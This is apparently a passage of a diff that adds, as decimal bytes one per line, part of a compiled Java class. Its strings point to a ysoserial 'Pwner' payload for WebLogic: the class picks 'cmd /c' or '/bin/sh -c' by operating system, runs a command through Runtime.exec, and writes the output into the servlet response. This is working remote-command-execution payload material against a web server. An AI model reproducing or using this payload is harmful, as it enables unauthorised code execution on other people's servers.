+ 115
+
+
+ 112
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 101
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 62
+
+
+ 0
+
+
+ 63
+
+
+ 10
+
+
+ 0
+
+
+ 55
+
+
+ 0
+
+
+ 64
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 71
+
+
+ 66
+
+
+ 75
+
+
+ 8
+
+
+ 0
+
+
+ 66
+
+
+ 1
+
+
+ 0
+
+
+ 45
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 115
+
+
+ 112
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 101
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 7
+
+
+ 0
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 115
+
+
+ 101
+
+
+ 116
+
+
+ 67
+
+
+ 104
+
+
+ 97
+
+
+ 114
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 69
+
+
+ 110
+
+
+ 99
+
+
+ 111
+
+
+ 100
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 70
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ 69
+
+
+ 0
+
+
+ 72
+
+
+ 1
+
+
+ 0
+
+
+ 22
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 79
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 79
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 74
+
+
+ 0
+
+
+ 75
+
+
+ 10
+
+
+ 0
+
+
+ 69
+
+
+ 0
+
+
+ 76
+
+
+ 1
+
+
+ 0
+
+
+ 35
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 7
+
+
+ 0
+
+
+ 78
+
+
+ 1
+
+
+ 0
+
+
+ 22
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ 80
+
+
+ 10
+
+
+ 0
+
+
+ 81
+
+
+ 0
+
+
+ 34
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 97
+
+
+ 112
+
+
+ 112
+
+
+ 101
+
+
+ 110
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 44
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 83
+
+
+ 0
+
+
+ 84
+
+
+ 10
+
+
+ 0
+
+
+ 81
+
+
+ 0
+
+
+ 85
+
+
+ 1
+
+
+ 0
+
+
+ 5
+
+
+ 32
+
+
+ 58
+
+
+ 32
+
+
+ 13
+
+
+ 10
+
+
+ 8
+
+
+ 0
+
+
+ 87
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 116
+
+
+ 111
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 89
+
+
+ 0
+
+
+ 90
+
+
+ 10
+
+
+ 0
+
+
+ 81
+
+
+ 0
+
+
+ 91
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ 79
+
+
+ 0
+
+
+ 93
+
+
+ 1
+
+
+ 0
+
+
+ 49
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 79
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 7
+
+
+ 0
+
+
+ 95
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 119
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 24
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 97
+
+
+ 0
+
+
+ 98
+
+
+ 10
+
+
+ 0
+
+
+ 96
+
+
+ 0
+
+
+ 99
+
+
+ 1
+
+
+ 0
+
+
+ 5
+
+
+ 102
+
+
+ 108
+
+
+ 117
+
+
+ 115
+
+
+ 104
+
+
+ 12
+
+
+ 0
+
+
+ 101
+
+
+ 0
+
+
+ 11
+
+
+ 10
+
+
+ 0
+
+
+ 96
+
+
+ 0
+
+
+ 102
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 111
+
+
+ 115
+
+
+ 46
+
+
+ 110
+
+
+ 97
+
+
+ 109
+
+
+ 101
+
+
+ 8
+
+
+ 0
+
+
+ 104
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 121
+
+
+ 115
+
+
+ 116
+
+
+ 101
+
+
+ 109
+
+
+ 7
+
+
+ 0
+
+
+ 106
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 121
+
+
+ 12
+
+
+ 0
+
+
+ 108
+
+
+ 0
+
+
+ 59
+
+
+ 10
+
+
+ 0
+
+
+ 107
+
+
+ 0
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 7
+
+
+ 0
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 116
+
+
+ 111
+
+
+ 76
+
+
+ 111
+
+
+ 119
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 97
+
+
+ 115
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ 113
+
+
+ 0
+
+
+ 90
+
+
+ 10
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 119
+
+
+ 105
+
+
+ 110
+
+
+ 8
+
+
+ 0
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 99
+
+
+ 111
+
+
+ 110
+
+
+ 116
+
+
+ 97
+
+
+ 105
+
+
+ 110
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 27
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 104
+
+
+ 97
+
+
+ 114
+
+
+ 83
+
+
+ 101
+
+
+ 113
+
+
+ 117
+
+
+ 101
+
+
+ 110
+
+
+ 99
+
+
+ 101
+
+
+ 59
+
+
+ 41
+
+
+ 90
+
+
+ 12
+
+
+ 0
+
+
+ 118
+
+
+ 0
+
+
+ 119
+
+
+ 10
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 120
+
+
+ 1
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 82
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 7
+
+
+ 0
+
+
+ 122
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 82
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 124
+
+
+ 0
+
+
+ 125
+
+
+ 10
+
+
+ 0
+
+
+ 123
+
+
+ 0
+
+
+ 126
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 99
+
+
+ 109
+
+
+ 100
+
+
+ 32
+
+
+ 47
+
+
+ 99
+
+
+ 32
+
+
+ 8
+
+
+ 0
+
+
+ -128
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 101
+
+
+ 120
+
+
+ 101
+
+
+ 99
+
+
+ 1
+
+
+ 0
+
+
+ 39
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -126
+
+
+ 0
+
+
+ -125
+
+
+ 10
+
+
+ 0
+
+
+ 123
+
+
+ 0
+
+
+ -124
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 47
+
+
+ 98
+
+
+ 105
+
+
+ 110
+
+
+ 47
+
+
+ 115
+
+
+ 104
+
+
+ 32
+
+
+ 45
+
+
+ 99
+
+
+ 32
+
+
+ 8
+
+
+ 0
+
+
+ -122
+
+
+ 1
+
+
+ 0
+
+
+ 22
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 101
+
+
+ 100
+
+
+ 82
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ -120
+
+
+ 1
+
+
+ 0
+
+
+ 25
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 82
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ -118
+
+
+ 1
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 115
+
+
+ 7
+
+
+ 0
+
+
+ -116
+
+
+ 1
+
+
+ 0
+
+
+ 14
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 23
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -114
+
+
+ 0
+
+
+ -113
+
+
+ 10
+
+
+ 0
+
+
+ -115
+
+
+ 0
+
+
+ -112
+
+
+ 1
+
+
+ 0
+
+
+ 42
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ -110
+
+
+ 10
+
+
+ 0
+
+
+ -117
+
+
+ 0
+
+
+ -109
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 82
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ -107
+
+
+ 10
+
+
+ 0
+
+
+ -119
+
+
+ 0
+
+
+ -106
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ -104
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ -102
+
+
+ 0
+
+
+ 90
+
+
+ 10
+
+
+ 0
+
+
+ -119
+
+
+ 0
+
+
+ -101
+
+
+ 1
+
+
+ 0
+
+
+ 9
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 23
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -99
+
+
+ 0
+
+
+ -98
+
+
+ 10
+
+
+ 0
+
+
+ 69
+
+
+ 0
+
+
+ -97
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ -95
+
+
+ 1
+
+
+ 0
+
+
+ 5
+
+
+ 119
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ -93
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ -94
+
+
+ 0
+
+
+ -92
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 7
+
+
+ 0
+
+
+ -90
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 111
+
+
+ 117
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -88
+
+
+ 0
+
+
+ -87
+
+
+ 9
+
+
+ 0
+
+
+ 107
+
+
+ 0
+
+
+ -86
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 111
+
+
+ 119
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 7
+
+
+ 0
+
+
+ -84
+
+
+ 10
+
+
+ 0
+
+
+ -83
+
+
+ 0
+
+
+ 91
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 7
+
+
+ 0
+
+
+ -81
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 112
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 108
+
+
+ 110
+
+
+ 12
+
+
+ 0
+
+
+ -79
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ -80
+
+
+ 0
+
+
+ -78
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 112
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 97
+
+
+ 99
+
+
+ 107
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 99
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ -76
+
+
+ 0
+
+
+ 11
+
+
+ 10
+
+
+ 0
+
+
+ -83
+
+
+ 0
+
+
+ -75
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 83
+
+
+ 116
+
+
+ 97
+
+
+ 99
+
+
+ 107
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 29
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 52
+
+
+ 53
+
+
+ 52
+
+
+ 51
+
+
+ 56
+
+
+ 51
+
+
+ 49
+
+
+ 52
+
+
+ 50
+
+
+ 55
+
+
+ 56
+
+
+ 57
+
+
+ 57
+
+
+ 50
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 52
+
+
+ 53
+
+
+ 52
+
+
+ 51
+
+
+ 56
+
+
+ 51
+
+
+ 49
+
+
+ 52
+
+
+ 50
+
+
+ 55
+
+
+ 56
+
+
+ 57
+
+
+ 57
+
+
+ 50
+
+
+ 59
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 42
+
+
+ -73
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ -71
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 20
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 63
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 52
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 32
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ -71
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 23
+
+
+ 0
+
+
+ 24
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 25
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 27
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 73
+
+
+ 0
+
+
+ 0
+
+
+ 0
